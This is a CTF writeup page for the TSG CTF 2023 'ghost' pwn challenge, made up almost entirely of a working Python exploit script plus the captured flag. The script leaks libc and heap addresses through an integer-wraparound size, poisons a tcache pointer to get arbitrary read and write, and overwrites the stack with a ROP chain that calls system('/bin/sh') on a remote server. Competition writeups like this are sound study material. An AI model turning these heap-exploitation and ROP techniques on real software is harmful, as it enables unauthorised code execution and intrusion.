Rating:

```
#!/usr/bin/env python3
from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './ghost'
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \
local = {'argv':[bin_file]}, \
remote = {'host':'34.146.195.242', 'port':40007})
env.set_item('libc', debug = None, \
local = None, \
remote = 'libc.so.6')
env.select()

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc
ofs_libc_stdin = libc.symbols['_IO_2_1_stdin_']
ofs_libc_mainarena = ofs_libc_stdin + 0x1e0

#==========

def attack(conn, **kwargs):
g = Ghost(conn)

for i in range(8):
g.post(str(i)*0x88)

g.move_old(18446744073709551616 - 1) # 1

for i in range(8):
g.undo()

addr_libc_mainarena = u64(g.print()[:8]) - 0x60
libc.address = addr_libc_mainarena - ofs_libc_mainarena
info('addr_libc_base = 0x{:012x}'.format(libc.address))
addr_libc_environ = libc.symbols['environ']
addr_libc_str_sh = next(libc.search(b'/bin/sh'))

g.post(b'a'*8)
g.post(b'b'*8)
g.move_old(18446744073709551616 - 1) # 2
g.undo()

addr_heap_base = (u64(g.print()[:8]) << 12) - 0x2000
info('addr_heap_base = 0x{:012x}'.format(addr_heap_base))

g.move_old(1) # 1
g.undo()
g.modify(p64((addr_heap_base + 0x3190) ^ ((addr_heap_base+0x2000) >> 12)))

g.post(b'A'*8)
g.post(b'B'*0x18)

def aar(addr, size):
g.pin(2)
g.modify(flat(size, addr, size))
g.pin(0)
return g.print()

def aaw(addr, data):
g.pin(2)
size = len(data)
g.modify(flat(size, addr, size))
g.pin(0)
g.modify(data)

addr_stack = u64(aar(addr_libc_environ, 8))
info('addr_stack = 0x{:012x}'.format(addr_stack))

rop = ROP(libc)
rop.system(addr_libc_str_sh)
rop.exit(0)

exploit = p64(rop.ret.address)*0x21
exploit += bytes(rop)
aaw(addr_stack - 0x580, exploit)

class Ghost:
def __init__(self, conn):
self.recv = conn.recv
self.recvuntil = conn.recvuntil
self.recvline = conn.recvline
self.unrecv = conn.unrecv
self.send = conn.send
self.sendline = conn.sendline
self.sendafter = conn.sendafter
self.sendlineafter = conn.sendlineafter

def post(self, content):
self.sendlineafter(b'> ', b'1')
self.sendafter(b'tweet > ', content)

def undo(self):
self.sendlineafter(b'> ', b'2')

def pin(self, idx):
self.sendlineafter(b'> ', b'3')
self.sendlineafter(b'id > ', str(idx).encode())

def print(self):
self.sendlineafter(b'> ', b'4')
content = self.recvuntil(b'\n> ', drop=True)
self.unrecv(b'> ')
return content

def modify(self, content):
self.sendlineafter(b'> ', b'5')
self.sendafter(b'tweet > ', content)

def move_old(self, size):
self.sendlineafter(b'> ', b'6')
self.sendlineafter(b'> ', b'0')
self.sendlineafter(b'size > ', str(size).encode())

def move_new(self, size):
self.sendlineafter(b'> ', b'6')
self.sendlineafter(b'> ', b'1')
self.sendlineafter(b'size > ', str(size).encode())

def exit(self):
self.sendlineafter(b'> ', b'7')

#==========

def main():
comn = Communicate(env.mode, **env.target)
comn.connect()
comn.run(attack)
comn.interactive()
# TSGCTF{Ghost_dwells_within_the_proof}

if __name__=='__main__':
main()

#==========
```

Original writeup (https://github.com/shift-crops/CTFWriteups/blob/2023/2023/TSG%20CTF/ghost/exploit_ghost.py).